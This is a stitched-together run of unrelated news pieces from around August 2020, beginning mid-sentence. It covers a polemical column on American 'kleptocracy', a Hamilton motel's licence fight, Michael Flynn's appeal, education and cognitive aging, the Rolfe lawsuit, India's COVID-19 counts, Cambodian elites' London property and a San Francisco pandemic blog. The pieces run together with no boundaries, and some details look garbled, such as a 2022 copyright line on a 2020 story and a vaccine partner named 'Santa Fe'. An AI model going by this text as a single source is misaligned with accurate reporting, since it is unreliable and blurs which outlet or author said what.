Confederate memorials, noting that most had been put up in the last decade. This, I told him, is exactly what happened in Yugoslavia. A hyper-nationalism always infects a dying civilization. It feeds the collective self-worship. This hyper-nationalism celebrates the supposedly unique virtues of the race or the national group. It strips all who are outside the closed circle of worth and humanity. The world instantly becomes understandable, a black and white tableau of them and us. The Mask Is Off These tragic moments in history see people fall into collective insanity. They suspend thought, especially self-critical thought. None of this is going away in November, in fact it will get worse. Joe Biden, a shallow, political hack devoid of fixed beliefs or intellectual depth, is an expression of the nostalgia of a ruling class that yearns to return to the pantomime of democracy. They want to restore the decorum and civic religion that makes the presidency a form of monarchy and sacralizes the organs of state power. Donald Trumps vulgarity and ineptitude is an embarrassment to the architects of empire. He has ripped back the veil that covered our failed democracy. But no matter how hard the elites try this veil cannot be restored. The mask is off. The facade is gone. Biden cannot bring it back. Political, economic and social dysfunction define the American empire. Our staggering inability to contain the pandemic, which now infects over 5 million Americans, and the failure to cope with the economic fallout the pandemic has caused, has exposed the American capitalist model as bankrupt. It has freed the world, dominated by the United States for seven decades, to look at other social and political systems that serve the common good rather than corporate greed. The diminished stature of the United States, even among our European allies, brings with it the hope for new forms of government and new forms of power. It is up to us to abolish the American kleptocracy. It is up to us to mount sustained acts of mass civil disobedience to bring down the empire. It poisons the world as it poisons us. If we mobilize to build an open society, we hold out the possibility of beating back these crisis cults as well as slowing and disrupting the march towards ecocide. This requires us to acknowledge, like those protesting in the streets of Beirut, that our kleptocracy, like Lebanons, is incapable of being salvaged. The American system of inverted totalitarianism, as the political philosopher Sheldon Wolin called it, must be eradicated if we are to wrest back our democracy and save ourselves from mass extinction. We need to echo the chants by the crowds in Lebanon calling for the wholesale removal of its ruling class kulyan-yani-kulyan everyone means everyone. On July 31, the City of Hamilton announced that it was not renewing the Budget Inns business licence, citing concerns about public safety and a lack of honesty from its operators. Sept. 11: This article is subject to a legal complaint by 2673422 Ontario Inc. c.o.b. Budget Inn 2000. There is often a stream of people coming and going from the beige, two-storey, L-shaped building at the busy Hamilton intersection of King Street East and Sanford Avenue. A white sign, with big, red letters reads Budget Inn a 35-room motel that has been a beacon for people looking for a more affordable place to stay, with rates listed online as less than $100 a night, but also for an underbelly of society looking for a place to carry out nefarious deeds. That the Budget Inn has been a problem property for some time is no secret. Its well-known to police and the source of complaints from neighbours for allegations of drug trafficking, sex work, fights and loud disturbances. Police, neighbours and even some who have stayed at the motel now say things have deteriorated to the point that it should close. On July 31, the City of Hamilton announced that it was not renewing the motels business licence, citing concerns about public safety and a lack of honesty from its operators. The city received an appeal a week later on Friday, Aug. 7. Owner Pravin Patel argues hes been working to improve conditions since taking control in April 2019. He said he paid $10,000 to replace old, smelly carpet throughout the building. And that his manager is quick to call police if there are problems. Were trying to make it better, he said. The only problem is when customers check in we never know what kind of customer (they are) ... we can only check ID. But those who have been watching the motel tell a different story. Hamilton police say theres been a noticeable increase in crime including violent crime at the motel in the last year and a half, during the current ownership. One resident, who says hes been living there for a couple of months, says the place needs to close, 1,000 per cent. The Spectator has agreed not to name him because he fears for his safety. He claims he witnesses fights and drug use on a near-daily basis. He says people are knocking on his door in the middle of the night. The same car can be seen coming in and out of the parking lot 20 times a day. At night, he says, its a zoo. There is a sign in the office that says no visitors after 10 p.m. and all visitors are supposed to sign in, he says. But that never seems to happen. He believes most of the problems are caused not by people staying at the motel, but people who gather there. He has seen a shift in the last few days, after the appeal was filed. On Monday, Aug. 10, he said this included management asking anyone who wasnt a resident to leave. Since being elected to council in 2018, Nrinder Nann says her office has received a steady stream of complaints about the Budget Inn from the neighbouring community. Often her office tells them to call police. The Ward 3 councillor said that multiple neighbouring apartment buildings have had to invest in upgraded security to deal with people, many seemingly impaired by drugs, who wander into properties, commit crimes and cause disturbances. Nann said she has compassion for people who, as the city faces an affordable housing crisis, find themselves living at the motel. And she does not want to criminalize sex workers. But the concerns go beyond that, including a recent serious sexual assault, violence and worries about human trafficking. Its been a problem address (for) quite some time, said Staff Sgt. Dave Oleniuk, who oversees the Hamilton police central criminal investigation unit. In the first four months of 2020, there were 145 police calls to the motel. There were 99 calls in 2018 and 216 in 2019. Many of the 145 calls through April of this year 59 of them were non-emergency calls, including unwanted guests and trespassing, and 35 were medical calls. There were 10 violent offence calls, including robberies and assaults. At the root of many of these calls is drugs, Oleniuk said. This includes several drug warrants executed at the motel in recent months, and overdose deaths. There isnt a clear tipping point that led to the city opting not to renew the business licence, but there was a case that increased concern for police. It was a serious and violent sex assault on Dec. 1, 2019. Police have not disclosed details of the incident as the case is before the courts. A 38-year-old man and three women, aged 30, 28 and 24, are all charged with sexual assault causing bodily harm. Following the investigation into this case, where even casual observation showed there were other issues at the motel, Hamilton police called the citys bylaw department, Oleniuk said. That bylaw investigation led to the city not renewing the motels business licence. Police believe there are incidents that go unreported too. We dont really know what hasnt been reported ... there is fear and intimidation that goes with these characters, Oleniuk said. Police believe there is a mix of organized crime, with individuals working together, and individuals who seek out the address as a place to sell drugs or do sex work. Some staying there might not feel safe coming forward, or might just want to keep their head down until they can leave. Again, Patel says his manager is quick to call police when criminal activity is seen. But its not just about crime at the motel, its also about the ripple effect in the community, Oleniuk said. Crime trackers can often map a ring of crime that spreads out from a problem property, such as a crack house. Break-ins, thefts, trespassing, cars being broken into, these types of crime spill out into the surrounding neighbourhood. Oleniuk said he believes the Budget Inn is the cause of many problems for its neighbours. The owner, Patel, said crime may appear to be rising, but thats because they are calling the police more. Since an appeal has been filed, the business is allowed to keep operating as usual until a hearing is set before the licensing tribunal, said city spokesperson Antonella Giancarlo. Kiwanis, which operates the Sanford Place apartments across the street from the Budget Inn, has spent more than $97,000 recently on security upgrades, including a fence and gate, upgraded lighting and cleanup. Police also stepped up patrols walking through the building. Nann said other neighbouring properties also increased security, including at a Sanford Avenue South CityHousing Hamilton building where many residents are seniors. Tenants were educated about not allowing people to follow them into the building. Nann lives a few blocks away from the motel and began intentionally riding her bike past to keep an eye on it. Safety concerns from neighbours led her to ask city bylaw director Ken Leendertse for a summary of offences. She learned the bylaw investigation was already underway. There is also concern for the safety of people staying at the Budget Inn, many who may be vulnerable. Its not a dignified and safe place, Nann said. The Budget Inn name sometimes comes up in reference to other, unrelated crimes. On the night of Dec. 2, 2017, when 19-year-old, unarmed Yosif Al-Hasnawi was fatally shot on Sanford Avenue South, his killer was on his way to sell meth at the nearby Budget Inn. Dale King was found not guilty last November after arguing self-defence; the Crown is seeking an appeal. In their search for missing person Holly Ellsworth-Clark, family members, following a tip, found themselves staked out outside the motel for 12 hours this past January. They didnt find Holly, and said they were horrified by what they saw in the underbelly of this city. The tipster had reported a woman who appeared to be drugged and in trouble. There were concerns about human trafficking. I care if that was my daughter or not, I care if that was Holly, but I also care about that other poor girl if that was another poor girl in that situation, Hollys dad Dave told The Spectator at the time. About a block away from the motel, the Kings Way Outreach Centre has at least 20 clients who live at the Budget Inn. The centre offers meals and life-skills classes, and supports people without stable housing. Nann is aware of the concern about what will happen to these people if the motel closes. Shes also aware of the affordable housing crisis in the city and how difficult it may be for some to find a place to live. Shes spoken with the citys housing department about supporting residents. The citys housing services division is monitoring the situation and will step in to provide support where and when necessary, said city spokesperson Giancarlo. The city has worked to close problem properties before, perhaps most notably the former City Motor Hotel at 55 Queenston Rd. The once-vibrant hotel fell into major decline and became a haven for criminal activity. It was expropriated and demolished by the City of Hamilton in 2013. The resident of the Budget Inn who spoke with The Spectator said he also spent time at the City Motor Hotel around the time when it closed. But the Budget Inn is 10 times worse, he claimed. On his first night, there were two fights in the parking lot. Recently, theres been a stabbing. He ended up at the motel this time after walking away from a bedbug-infested apartment. It is more affordable than most hotels for those looking for a temporary place to stay, and more accessible for those who dont have first and last months rent saved. But its still upwards of $600 a week, depending on the size of the room. Since news broke last week about the city not renewing the business licence, Nann said shes had three reactions from the community about time, concern for what will happen to vulnerable people staying there, and the question of what the property could become. Could the city buy the land? She has already spoken with staff about the possibility. She envisions affordable housing units with much-needed retail space perhaps a market or grocery store on the main level. Its quite an exciting vision, she said. Hamiltonians deserve beautiful things, too. Michael Flynn pleaded guilty to lying to the FBI about his meetings with Russias ambassador, but wants plea reversed. United States appeals court judges on Tuesday signalled scepticism toward a bid by President Donald Trumps former national security adviser Michael Flynn to compel a federal judge to immediately drop the criminal case against him as the Department of Justice has demanded even though Flynn pleaded guilty to lying to the FBI. Ten judges from the US Court of Appeals for the District of Columbia Circuit were hearing arguments in the politically charged case after a three-judge panel, in a 2-1 ruling on June 24, directed US District Judge Emmet Sullivan to grant the Justice Departments motion to clear Flynn. Flynn, a retired Army lieutenant general, was charged under former Special Counsel Robert Muellers investigation that detailed Moscows election meddling. As the hearing got under way, Sidney Powell, Flynns lawyer, accused Sullivan of usurping the job of a prosecutor and said the judge impermissibly sallied forth to right the wrongs that he perceived. United States Attorney General William Barr has been accused of favouring Trumps friends and allies [Matt McClain/Pool via Reuters] Democrats and other critics have accused Attorney General William Barr of protecting Trumps friends and allies in this and other high-profile criminal cases, warping the rule of law. Trump on July 10 also commuted the prison sentence of his friend and adviser Roger Stone, who was convicted of lying under oath to lawmakers investigating Russian interference in the 2016 US election. Early questions from the judges dealt with procedure and whether it was premature for their court to step in now, before Sullivan has even ruled on the Justice Departments request for dismissal. Judge Thomas Griffith said Sullivan appeared to be simply educating himself by holding a court hearing before ruling on the Justice Departments request. The judge is not simply a rubber stamp, Griffith said, echoing words that Sullivan has used in the case. The integrity and independence of the courts is also at play here, Judge Cornelia Pillard told Justice Department lawyer Jeff Wall, asking whether any self-respecting federal district judge would simply jump and enter an order without doing what he can to understand both sides. Pillard suggested there was nothing improper about Sullivans decision to appoint a retired judge to make arguments against the Justice Departments request. It is the core of any judges job to assess cases using the best arguments that can be made on both sides, Pillard said. And your position, Pillard told Flynns lawyer, is that No, he cant hear both sides on the law and he has to drop the case like a hot potato.' Flynn pleaded guilty two times to lying to the FBI about his conversations with Russias then-ambassador, Sergey Kislyak, concerning US sanctions imposed on Moscow under President Barack Obama before Trump took office in 2017. Michael Flynn, President Donald Trumps former national security adviser, leaves the federal court following a status conference with Judge Emmet Sullivan in Washington, DC [File: Manuel Balce Ceneta/AP Photo] Wall told the judges that Sullivan lacks the constitutional authority to second-guess the dropping of the Flynn case. Judge David Tatel pressed Wall over that argument, asking, Dont courts regularly scrutinise the executives stated justifications? Wall also suggested the possibility that the Justice Department moved to drop the Flynn case because of findings that have not been made public. It may be possible the attorney general had before him information that he was not able to share with the court, Wall said, without offering specifics. Sullivan asked the full DC Circuit court to reconsider the three-judge panels ruling, saying the Justice Departments move to clear Flynn was unprecedented and had to be carefully scrutinised. After pleading guilty, Flynn changed course and switched lawyers to pursue a scorched-earth tactic that accused the FBI of setting him up. Tuesdays arguments were being heard by 10 of the DC Circuits 11 active judges. Judge Gregory Katsas, a Trump appointee who previously served in the White House Counsels office, recused himself. The judges will either rule to allow Sullivan to hear arguments on the Justice Departments request to dismiss the charges, or rule against the judge and order an end the case. The DC Circuits decision then potentially could be appealed to the US Supreme Court. Flynn joined Trumps 2016 campaign and at the Republican National Convention that year led chants of Lock her up, referring to Democratic candidate Hillary Clinton. Trump fired Flynn after only 24 days as national security adviser when it emerged that Flynn had misled Vice President Mike Pence and the FBI about his dealings with Kislyak. Investing time in education in childhood and early adulthood expands career opportunities and provides progressively higher salaries. It also conveys certain benefits to health and longevity. A new analysis published in the journal Psychological Science in the Public Interest (PSPI), however, reveals that even though a more extensive formal education forestalls the more obvious signs of age-related cognitive deficits, it does not lessen the rate of aging-related cognitive declines. Instead, people who have gone further in school attain, on average, a higher level of cognitive function in early and middle adult adulthood, so the initial effects of cognitive aging are initially less obvious and the most severe impairments manifest later than they otherwise would have. The total amount of formal education that people receive is related to their average levels of cognitive functioning throughout adulthood. However, it is not appreciably related to their rates of aging-related cognitive declines." Elliot M. Tucker-Drob, researcher with the University of Texas, Austin, and coauthor on the paper This conclusion refutes the long-standing hypothesis that formal education in childhood through early adulthood meaningfully protects against cognitive aging. Instead, the authors conclude that individuals who have gone further in school tend to decline from a higher peak level of cognitive function. They therefore can experience a longer period of cognitive impairment before dropping below what the authors refer to as a "functional threshold," the point where cognitive decline becomes so obvious that it interferes with daily activities. "Individuals vary in their rates of aging-related cognitive declines, but these individual differences are not appreciably related to educational attainment," notes lead author Martin Lovden, formerly with the Karolinska Institute and Stockholm University in Sweden and now with the University of Gothenburg. For their study, the researchers examined data from dozens of prior meta-analyses and cohort studies conducted over the past two decades. The new PSPI report evaluates the conclusions from these past studies to better understand how educational attainment affects both the levels of and changes in cognitive function in aging and dementia. Although some uncertainties remain after their analysis, the authors note, a broader picture of how education relates to cognitive aging is emerging quite clearly. Throughout adulthood, cognitive function in individuals with more years of schooling is, on average, higher than cognitive function in those with fewer years of schooling. This review highlights the importance of formal education for cognitive development over the course of childhood, adolescence, and early adulthood. According to the researchers, childhood education has important implications for the well-being of individuals and societies not just during the years of employment, but throughout life, including old age. "This message may be particularly relevant as governments decide if, when, and how to reopen schools during the COVID-19 pandemic. Such decisions could have consequences for many decades to come," said Tucker-Drob. The authors conclude that improving the conditions that shape development during the first decades of life carries great potential for improving cognitive ability in early adulthood and for reducing public-health burdens related to cognitive aging and dementia. The former Atlanta police officer who fatally shot Rayshard Brooks is suing the mayor and interim police chief, saying his firing violated his constitutional rights and the city code. Meanwhile, prosecutors have asked a judge to revoke his bond. Garrett Rolfe was fired June 13, the day after he fatally shot Brooks outside a Wendys restaurant in Atlanta. In a lawsuit filed Tuesday in Fulton County Superior Court, he says he was fired without an investigation, without proper notice, without a disciplinary hearing, and in direct violation of the municipal code of the City of Atlanta. Rolfe, 27, faces 11 charges, including felony murder. He was granted bond June 30. Also Tuesday, prosecutors filed a motion to revoke Rolfes bond, saying he had traveled to Florida without permission. The bond order expressly states that the Defendant is only allowed to leave home for medical, legal, or work related obligations, the motion says. Police body cameras showed Rolfe and another officer, Devin Brosnan, having a calm and respectful conversation with Brooks for more than 40 minutes after complaints that the 27-year-old Black man had fallen asleep in his car in a Wendys drive-thru lane on June 12. But when officers told him hed had too much to drink to be driving and tried to handcuff him, Brooks resisted. A struggle was caught on dash camera video. Brooks grabbed one of their Tasers and fled, firing the Taser at Rolfe as he ran away. An autopsy found Brooks was shot twice in the back. Brosnan, 26, is charged with aggravated assault and violating his oath and is also free on bond. Rolfes lawsuit, which was first reported by the Daily Report, argues that Rolfe used deadly force within the scope and course of his duties in response to Brooks violent, unlawful, aggressive resistance to a lawful arrest. The lawsuit says that Rolfe could only be disciplined or terminated for cause and that he has a right to due process. The proper steps, outlined in the city code, were not taken before Rolfe was fired by then-Chief Erika Shields, who resigned the same day. The lawsuit also notes that Brosnan and many other Atlanta police officers who have been charged with crimes have remained employed while their criminal charges were pending. Rolfe has suffered irreparable injury to his personal and professional reputation as a result of his unlawful dismissal, the lawsuit says, adding that he has become a public spectacle and object of ridicule. The lawsuit asks a judge to hold a hearing and to order that Rolfe be immediately reinstated with back pay and other benefits. Atlanta police declined to comment, citing the pending litigation. The mayors office did not immediately respond to a request for comment. Prosecutors received an email last week from one of Rolfes attorneys notifying them that Rolfe had traveled to Florida for vacation, according to the motion to revoke his bond. A location report from the company that owns the ankle monitor Rolfe is wearing shows that he left home Aug. 2 and was in Daytona Beach, the motion says. Prosecutors arent aware of him having been granted permission to travel and they argue that Rolfe has clearly shown that he will not abide by the conditions of bond imposed by the Court. Lawyers for Rolfe did not immediately respond to an email seeking comment Wednesday. Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Topics Lawsuits Abuse Molestation Law Enforcement Health experts have warned that India is likely to top the list of countries with most COVID-19 cases as infections continue to rise. The US, India and Brazil together account for nearly two-thirds of all cases since the world hit 15-million on July 22. With 53,601 infections reported in the last 24 hours, India has now recorded more than 22,68,675 cases, while the death toll climbed to 45,257 after 871 new fatalities were reported, the health ministry said on August 11. "India is the third most affected from COVID-19 now, but with increased testing, it could rise to the top. While testing rates have increased by 240 percent since the beginning of July, coronavirus positive cases have increased by almost 325 percent," said Himanshu Sikka, lead-health, IPE global, an international healthcare development consultancy. The trend was alarming and concurred with the findings of numerous studies which said that with increased testing, India could emerge as the top country affected by the pandemic, Sikka told LiveMint. The total number of samples tested up to August 10 was 2,52,81,848. Indian Council of Medical Research (ICMR) tested 6,98,290 samples on the day. COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show Follow our LIVE blog for the latest updates on the novel coronavirus pandemic "There is a shift in the epicentres of COVID cases in the past one month, with Andhra Pradesh and Karnataka having maximum growth rate, while Delhi is faring much better," said Dr Suneela Garg, director professor, department of community medicine, Maulana Azad Medical College, told LiveMint. Despite all the gloom around the pandemic, the silver lining remains the recovery rate. As of August 10, India had 28.21 percent active cases, 69.80 percent of which were either cured, discharged or had migrated. The case fatality rate dropped below 2 percent to 1.99 percent. "India has so far been successful in keeping the fatality rates low and the recovery rates high. However, with further opening up of the economy, the pandemic is penetrating deeper and the situation could soon deteriorate," said Sikka. Coronavirus state-wise tally August 11: Known COVID-19 cases in Tamil Nadu cross the 3 lakh mark Health officials continue to deny community transmission. However, experts believe that prevention measures must be practised to limit the spread of the virus. "If community transmission begins, isolation and quarantine will have limited or no role to play," Garg said, adding community-driven social changes will then play an important role in containing the COVID-19 spread. The confirmed number of coronavirus cases in the world has reached 20 million, according to Johns Hopkins University tally. Health officials believe the actual number is much higher, given testing limitations and the fact that as many as 40 percent of all those who are infected have no symptoms. (With agency inputs) Many residents of Netanya, a conservative town where the right-wing Likud party captured the most votes in the last election, in April, expressed opposition to allowing Palestinians to cross into Israel without permits, though some welcomed it. These are people who would like to spend time at the beach, said Maurice Sedowitz, a retired dentist. Palestinian families should be able to enjoy themselves here with or without a permit. The usually heavily guarded borders were clearly open for business. A pair of Israeli soldiers patrolling near a hole in the barrier in the northern village of Faroun on Monday did nothing to stop throngs of Palestinians carrying coolers and bags of food from passing through. Nor did two Israeli military vehicles driving by take action against the beachgoers. Residents of Faroun, the site of multiple traffic jams over the past week, even said they had witnessed the army help people pass through the hole at night by turning on lights. Word of the opening spread quickly on Palestinian social media. Palestinian tour agencies, which have suffered major losses since the pandemic hit the West Bank in March, sprung into action. Mr Danlami Shamaki The proprietor of New Edition Nursery and primary school as well as Winners Comprehensive High School in Jalingo, Taraba States capital Mr. Danlami Shamaki was killed by unknown gunmen on Sunday August 9. The deceased was returning from Abuja where he went for a meeting before being ambushed alongside his driver and aide. They reportedly ran into a group of armed men between Danacha and Sabongida village in Gassol local government area of Taraba state. The gunmen reportedly used a water truck to block the road which forced his driver to maneuver past it. However after Shamaki ordered his driver to stop in order to show sympathy and also check if the truck pusher was hurt, the armed men opened fire targeting the proprietor only. The school proprietors corpse has been deposited at the morgue of the Federal Medical Centre in Jalingo. The way people treat gulls is despicable, writes LIZ JONES. I agree with the outrage over the death of Cecil the lion, but at least he had a lovely life, which is more than can be said for our animals. The U.K.s Russia Report reveals London as a kleptocrats paradise, which may be why its such a magnet for politically connected Cambodians with cash to spare. The U.K.s Russia Report reveals London as a kleptocrats paradise, which may be why its such a magnet for politically connected Cambodians with cash to spare. A parliamentary intelligence committee recently highlighted how President Vladimir Putins Russia wields malign influence inside the United Kingdom and not just through disinformation and deadly spy-craft. The committees report also examined how Putins agents and allies and crucially, their money have infiltrated the business, social and political life of London, and how vulnerabilities in Britains legal and commercial infrastructure have made London a mecca for kleptocrats and their entourages the world over. On the money and influence side of the equation, the so-called Khmer Riche appear to be following the same playbook. During an ongoing RFA investigation into the foreign real estate accumulated by the family of Cambodian Prime Minister Hun Sen and his cronies, London has come up time and again. Relatives of the Cambodian leader and those with deep connections with his security state have taken advantage of lax U.K. regulations to park their wealth in London real estate with few questions asked. An open-door policy, at a price In 1994, the U.K. introduced investor visas, allowing just about anyone willing to invest 2 million ($2.5 million) in the British economy to stay in the country for three years and four months. The Russia Report claims that the introduction of these pricey entry permits -- known as Tier 1 (investor) visas were instrumental in attracting wealthy Russians to Britain. Twenty years later, the U.K. granted some 120 Russians investor visas in 2014 alone. The following year, in 2015, the British government issued an investor visa to Neth Thida Chanthima, the then-20-year-old daughter of Cambodias national police chief Neth Savoeun and his wife Hun Kimleng, who is Hun Sens niece. Accused of severe human rights abuses in the service of propping up Hun Sens government, Savoeun, his wife and their three children were hit with visa bans by the U.S. State Department in 2017 for undermining democracy, effectively barring them from entering America, according to Reuters. The British government does not seem to have been troubled by any such concerns. Chanthima continues to live in London, where she is pursuing a doctorate and is frequently visited by her family members. The Russia Report, however, found that the investor visa program needs an overhaul, suggesting too many bad apples were entering the U.K. off the back of it. There needs to be a more robust approach to the approval process for these visas, the report said. The prosperity agenda Investor visas were one of several vulnerabilities identified by the authors of the Russia Report in what they described as successive British governments prosperity agenda. Under this agenda, for the sake of swelling the U.K. economy, foreign capital has been welcomed into the London real estate and investment markets with little in the way of oversight or regulation. Few questions if any were asked about the provenance of this considerable wealth, the report claims. Members of Cambodias upper crust have sunk dizzying sums into London's luxury property market. This approach, it continues, offered ideal mechanisms by which illicit finance could be recycled through what has been referred to as the London laundromat. A key component of that laundromat is the citys luxury property market, a market into which Cambodias upper crust has sunk dizzying sums. In September 2017, Chanthimas older sister, Cambodian Ministry of Foreign Affairs official Neth Vichhuna, bought two adjoining luxury flats in Kensington for 5.5 million ($6.9 million). Title deeds for the property obtained by RFA indicate the then-24-year-old bought the property without a mortgage, suggesting she had almost $7 million to hand in cash at the time. In a recent interview with RFA, Lee Morgenbesser of Griffith University said that whenever millions of dollars leave Cambodia, it is likely the money is somehow tainted. If that amount of money is coming from anywhere in Southeast Asia, with the exception of Singapore, its likely to be dirty as a result of corruption, or nepotism or embezzlement, said Morgenbesser, author of a book on Southeast Asian dictatorships. Posing in front of the Houses of Parliament: Neth Vichhuna (right) pictured with her aunts Hun Chantha (center) and Hun Chanthou (left) in London. Credit: Vichhuna on Instagram Cash for access When not crisscrossing the globe on private jets, their aunt Hun Chantha lives just 50 meters from Vichhunas London bolthole in an apartment worth in excess of $5 million. As detailed in an RFA investigation published in December, when in Britain's capital city Chantha keeps a busy social schedule and is frequently photographed at high society charity functions where champagne and altruism flow in tandem. In London, though, sometimes even altruism can have a dark side, according to the Russia Report. Its authors found that money of dubious origin arriving there frequently gets funneled into reputation laundering. By splashing their cash on charitable, cultural and political organizations, dubious characters with links to Vladimir Putin can get a foothold in elite British social, political and business circles. In 2015, Chantha, a niece of Hun Sen, footed the bill for a charitable lunch thrown for several British members of parliament, the RFA investigation found. The ability of moneyed foreign elites to essentially buy facetime with British politicians through donations gives them a direct line to the countrys policy makers, according to Moneyland author Oliver Bullough. If you have a 10 minute conversation with someone, and they explain what they're doing, then you're much more likely to see their point of view, Bullough said in an interview with RFA. That's why it's worth paying to get a seat next to a minister at a table because it isn't really about bribing them, its just about asking them to see your point of view and it's amazingly successful. The most corrupt place on Earth By most traditional measures, Cambodia and Russia are far more corrupt places than Great Britain. This is reflected in global rankings such as Transparency Internationals Corruption Perceptions Index, in which the U.K. scores 12th best, while Moscow comes in at 137th and Cambodia 162nd out of 198 countries. But in 2016, Italys most renowned mafia journalist, Roberto Saviano, proclaimed Britain the most corrupt place on Earth, thanks to the ease with which the proceeds of crime can be washed clean through its capital city. The City of London is a far more important center for laundering criminal money than the Cayman Islands, he said in an interview with the Guardian, referring to an offshore financial haven in the Caribbean. While the ritzy streets of Londons financial center seem a world away from gang-plagued ghettos, the criminal violence and political corruption that its financial infrastructure has helped to make so profitable is coming home to roost. According to Transparency Internationals Corruption Perceptions Index 2019, the U.K. ranks 12th best, Russia 137th and Cambodia 162nd out of 198 countries. Credit: RFA Graphics From Russia with Blood A 2017 investigation by BuzzFeed From Russia with Blood raised concerns that 14 deaths of Russian expatriates and their British associates were the result of a Moscow-directed assassination campaign. The Russia Report noted that the chair of the British parliaments Home Affairs Select Committee described BuzzFeeds reporting as founded upon considerable concerning evidence. Several moneyed Cambodians with allegedly violent or otherwise nefarious pasts have turned up in London in recent years, most of them paying visits to at least one of the Kensington apartments. Neth Savoeun has paid visits to his wife's 1.95 million ($2.4 million) apartment, purchased the day after his 50th birthday. Human Rights Watch has labelled the national police chief as one Cambodia's Dirty Dozen generals over his alleged role in torture and summary executions. For years, Savoeun's brother-in-law Hun To was denied a visa to Australia, reportedly over his alleged involvement in drug trafficking. Despite repeatedly denying the allegations, To has been unable to shake them and as recently as this April calls were being made in Canberra for the Australian government to place him under sanctions. Again, any such concerns did not appear to have impeded his ability to stroll the streets of London, where he was photographed in 2018. The previous year, a Cambodian diplomat was asked to leave the U.K. after local police accused them of possession of a firearm with intent to injure, Britains then-foreign secretary disclosed to parliament. The U.K. Foreign Office was approached for comment regarding the incident but a spokesperson said it does not comment on individual cases. Two countries, one system In its introduction, the Russia Report describes its subject nation as both very strong and very weak, ascribing its strengths to its victory in World War Two and its status as the inheritor of the Soviet Unions achievements. Cambodia has no similar claim to recent victories, except perhaps the defeat of the Khmer Rouge, whose former commanders now permeate its government. But in many respects, Phnom Penh and Moscow are alike. Giving evidence to the Intelligence and Security Committee, Britains Secret Intelligence Service described the muddy nexus between business and corruption and state power in Russia. A similar statement could be made about Cambodia, where business success is often predicated on having paid up a patronage pyramid whose capstone is Hun Sen. Many of Putins key allies in London are drawn from his former colleagues in Russias intelligence service. Similarly, some elite Cambodians with their fingers in London real estate have deep connections to Hun Sens security state. A 2017 investigation by BuzzFeed From Russia with Blood put a spotlight on sinister allegations of a Moscow-directed assassination campaign. Witness the fact that Hun Kimleng and Neth Vichhuna, wife and daughter to Cambodias most senior police officer, have a combined London property portfolio worth in excess of $10 million. And Hun Chantha, owner of close to $7 million of London real estate, although now remarried, was once married to the now-head of the Cambodian Interior Ministrys Central Security Department, Dy Vichea. His promotion to that position was signed off on by none other than Chanthas brother-in-law, the national police chief Neth Savoeun. The Russia Report likened any possible attempt to combat malign Muscovite influence in the U.K. to shutting a stable door after the horse has bolted. Will Phnom Penh's emissaries to the Kensington property market establish the same firm foothold that Moscow's Mayfair mobsters have? By Express News Service CHENNAI: A police complaint has been lodged against actor-turned-politician S Ve Shekher that he is allegedly trying to incite communal violence by making provocative speeches on his YouTube channel. Police sources said the complaint was filed online by one C Rajarathinam, a resident of Nungambakkam, in which he stated that Shekher, a former MLA of Mylapore constituency, has released a video on his YouTube channel 'SVES50 TV' on August 3. "He has made certain objectionable remarks with the criminal intent of spreading misinformation against Tamil Nadu Chief Minister and insulting the national flag," read the complaint. Incidentally, this is the same video to which the CM Edappadi K Palaniswami refused to respond saying Shekhar's stature does not merit a comment from the ruling party. Palaniswami had said that Shekhar was someone who does loose talk and goes into hiding when a police case is filed against him. In the YouTube video, Shekhar criticised Palaniswami for opposing the three-language policy of the Central government and alleged that the CM had himself learnt Hindi, but refuses to introduce it in government schools. Police sources said a case will be registered only after an investigation into the complaint. LATEST Aug. 11, 2:40 p.m. In a Tuesday afternoon press conference, President Donald Trump announced the federal government has reached a partnership with Moderna to manufacture and deliver 100 million doses of their vaccine candidate. The announcement follows previously announced partnerships with Johnson & Johnson and Santa Fe. Trump noted each has "tremendous promise." "We're on track to rapidly produce 100 million doses as soon as the vaccine is approved [by the FDA] and up to 500 million shortly thereafter," he added. Aug. 11, 1:20 p.m. Following an announcement by the NCAA's Big Ten that it wouldn't participate in football this fall because of concerns about COVID-19, the Pac-12 followed suit witha similar announcement Tuesday afternoon. The result is two of college football's five power conferences out of a crumbling season amid the pandemic. Two people involved in the Pac-12's decision told The Associated Press the season would be postponed until the spring, along with all fall sports. The people spoke to the AP on condition of anonymity because the conference was still planning an official announcement. Read more here from the Associated Press. Aug. 11, 12:45 p.m. San Francisco Mayor London Breed proposed to spend a total of $446.1 million on San Francisco's response to the coronavirus pandemic to carry the city through testing, communications, contact tracing and other expenditures through June 2021, Breed announced in a press conference at City Hall Tuesday. Breed's proposal is included in the fiscal year 2020-2021 budget; as such, the proposed funding would run out by next summer. If the coronavirus pandemic is still ongoing by then, she stated, the city will need to secure additional funding. Read more from SFGATE. Aug. 11, 10 a.m. Research by UCSF infectious disease expert Dr. Monica Gandhi suggests that masks may offer wearers more protection than originally thought. In addition to protecting other people around the wearer, masks may also reduce the amount of particles of virus a wearer may ingest from those around them. A smaller dosage, so to speak, of the virus could result in a less serious infection than if the wearer was unmasked, as KPIX reported. Even if you do get infection, it looks like the evidence is showing us that youre getting less virus and that youre less likely to get sick, said Dr. Gandhi. Dr. Bob Wachter, Chair of the Department of Medicine at UCSF, appeared on KCBS Tuesday morning to further discuss Dr. Gandhi's findings. "I find Monica's theory on this pretty compelling," he said. "Theres always been evidence that it has some protective effect for the wearer ... She's accumulated a fair amount of circumstantial evidence that I think is fairly persuasive. It's another reason its not just to protect people around you." Aug. 11, 9:15 a.m. A new tip line for Sonoma County residents to report businesses and individuals in defiance of local health orders drew about 